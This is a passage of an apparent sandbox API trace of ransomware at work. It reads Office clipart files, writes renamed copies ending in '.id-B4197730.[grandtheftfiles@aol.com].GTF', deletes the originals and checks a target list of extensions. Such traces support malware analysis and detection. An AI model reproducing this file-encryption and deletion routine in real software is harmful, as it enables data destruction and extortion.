	[0163.681] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1f38, lpOverlapped=0x0) returned 1
	[0163.682] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0163.701] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.701] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.702] SetEndOfFile (hFile=0x43c) returned 1
	[0163.702] CloseHandle (hObject=0x43c) returned 1
	[0163.702] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.702] SetEndOfFile (hFile=0x544) returned 1
	[0163.704] CloseHandle (hObject=0x544) returned 1
	[0163.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1
	[0163.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.705] lstrlenW (lpString=".doc") returned 4
	[0163.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.705] lstrlenW (lpString=".docx") returned 5
	[0163.705] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.705] lstrlenW (lpString=".pdf") returned 4
	[0163.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.706] lstrlenW (lpString=".xls") returned 4
	[0163.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.706] lstrlenW (lpString=".xlsx") returned 5
	[0163.706] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.706] lstrlenW (lpString=".ppt") returned 4
	[0163.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.706] lstrlenW (lpString=".zip") returned 4
	[0163.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.706] lstrlenW (lpString=".rar") returned 4
	[0163.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.706] lstrlenW (lpString=".bz2") returned 4
	[0163.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.727] lstrlenW (lpString=".7z") returned 3
	[0163.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.727] lstrlenW (lpString=".dbf") returned 4
	[0163.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.727] lstrlenW (lpString=".1cd") returned 4
	[0163.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.727] lstrlenW (lpString=".jpg") returned 4
	[0163.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString=".doc") returned 4
	[0163.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString=".docx") returned 5
	[0163.728] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.728] lstrlenW (lpString=".pdf") returned 4
	[0163.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString=".xls") returned 4
	[0163.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.728] lstrlenW (lpString=".xlsx") returned 5
	[0163.728] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.728] lstrlenW (lpString=".ppt") returned 4
	[0163.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString=".zip") returned 4
	[0163.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.728] lstrlenW (lpString=".rar") returned 4
	[0163.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString=".bz2") returned 4
	[0163.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString=".7z") returned 3
	[0163.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString=".dbf") returned 4
	[0163.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString=".1cd") returned 4
	[0163.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68
	[0163.728] lstrlenW (lpString=".jpg") returned 4
	[0163.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.728] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.729] lstrlenW (lpString="J0105336.WMF") returned 12
	[0163.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0163.857] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=2900) returned 1
	[0163.857] CloseHandle (hObject=0x3dc) returned 1
	[0163.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220
	[0164.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.233] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.237] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.261] GetLastError () returned 0x0
	[0164.261] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xb54, lpOverlapped=0x0) returned 1
	[0164.265] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xb60, lpOverlapped=0x0) returned 1
	[0164.266] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.266] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.267] SetEndOfFile (hFile=0x528) returned 1
	[0164.267] CloseHandle (hObject=0x528) returned 1
	[0164.267] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.267] SetEndOfFile (hFile=0x43c) returned 1
	[0164.271] CloseHandle (hObject=0x43c) returned 1
	[0164.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1
	[0164.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.273] lstrlenW (lpString=".doc") returned 4
	[0164.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString=".docx") returned 5
	[0164.273] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.273] lstrlenW (lpString=".pdf") returned 4
	[0164.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString=".xls") returned 4
	[0164.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.273] lstrlenW (lpString=".xlsx") returned 5
	[0164.273] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.273] lstrlenW (lpString=".ppt") returned 4
	[0164.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.273] lstrlenW (lpString=".zip") returned 4
	[0164.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.273] lstrlenW (lpString=".rar") returned 4
	[0164.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString=".bz2") returned 4
	[0164.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString=".7z") returned 3
	[0164.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.273] lstrlenW (lpString=".dbf") returned 4
	[0164.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.273] lstrlenW (lpString=".1cd") returned 4
	[0164.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".jpg") returned 4
	[0164.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".doc") returned 4
	[0164.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString=".docx") returned 5
	[0164.274] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.274] lstrlenW (lpString=".pdf") returned 4
	[0164.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString=".xls") returned 4
	[0164.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.274] lstrlenW (lpString=".xlsx") returned 5
	[0164.274] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.274] lstrlenW (lpString=".ppt") returned 4
	[0164.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".zip") returned 4
	[0164.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.274] lstrlenW (lpString=".rar") returned 4
	[0164.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString=".bz2") returned 4
	[0164.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString=".7z") returned 3
	[0164.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".dbf") returned 4
	[0164.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".1cd") returned 4
	[0164.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0164.274] lstrlenW (lpString=".jpg") returned 4
	[0164.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.275] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.275] lstrlenW (lpString="J0105368.WMF") returned 12
	[0164.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.276] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=12380) returned 1
	[0164.276] CloseHandle (hObject=0x43c) returned 1
	[0164.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220
	[0164.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.276] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.276] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.277] GetLastError () returned 0x0
	[0164.277] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x305c, lpOverlapped=0x0) returned 1
	[0164.279] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3060, lpOverlapped=0x0) returned 1
	[0164.280] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.280] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.280] SetEndOfFile (hFile=0x528) returned 1
	[0164.280] CloseHandle (hObject=0x528) returned 1
	[0164.280] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.280] SetEndOfFile (hFile=0x43c) returned 1
	[0164.283] CloseHandle (hObject=0x43c) returned 1
	[0164.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1
	[0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.284] lstrlenW (lpString=".doc") returned 4
	[0164.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString=".docx") returned 5
	[0164.285] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.285] lstrlenW (lpString=".pdf") returned 4
	[0164.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString=".xls") returned 4
	[0164.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.285] lstrlenW (lpString=".xlsx") returned 5
	[0164.285] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.285] lstrlenW (lpString=".ppt") returned 4
	[0164.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString=".zip") returned 4
	[0164.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.285] lstrlenW (lpString=".rar") returned 4
	[0164.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString=".bz2") returned 4
	[0164.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString=".7z") returned 3
	[0164.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString=".dbf") returned 4
	[0164.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString=".1cd") returned 4
	[0164.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString=".jpg") returned 4
	[0164.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.285] lstrlenW (lpString=".doc") returned 4
	[0164.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.285] lstrlenW (lpString=".docx") returned 5
	[0164.285] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.285] lstrlenW (lpString=".pdf") returned 4
	[0164.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString=".xls") returned 4
	[0164.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.286] lstrlenW (lpString=".xlsx") returned 5
	[0164.286] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.286] lstrlenW (lpString=".ppt") returned 4
	[0164.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.286] lstrlenW (lpString=".zip") returned 4
	[0164.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.286] lstrlenW (lpString=".rar") returned 4
	[0164.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString=".bz2") returned 4
	[0164.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString=".7z") returned 3
	[0164.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.286] lstrlenW (lpString=".dbf") returned 4
	[0164.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.286] lstrlenW (lpString=".1cd") returned 4
	[0164.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0164.286] lstrlenW (lpString=".jpg") returned 4
	[0164.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.286] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.286] lstrlenW (lpString="J0105376.WMF") returned 12
	[0164.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.288] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4964) returned 1
	[0164.288] CloseHandle (hObject=0x43c) returned 1
	[0164.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220
	[0164.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.288] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.288] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0164.289] GetLastError () returned 0x0
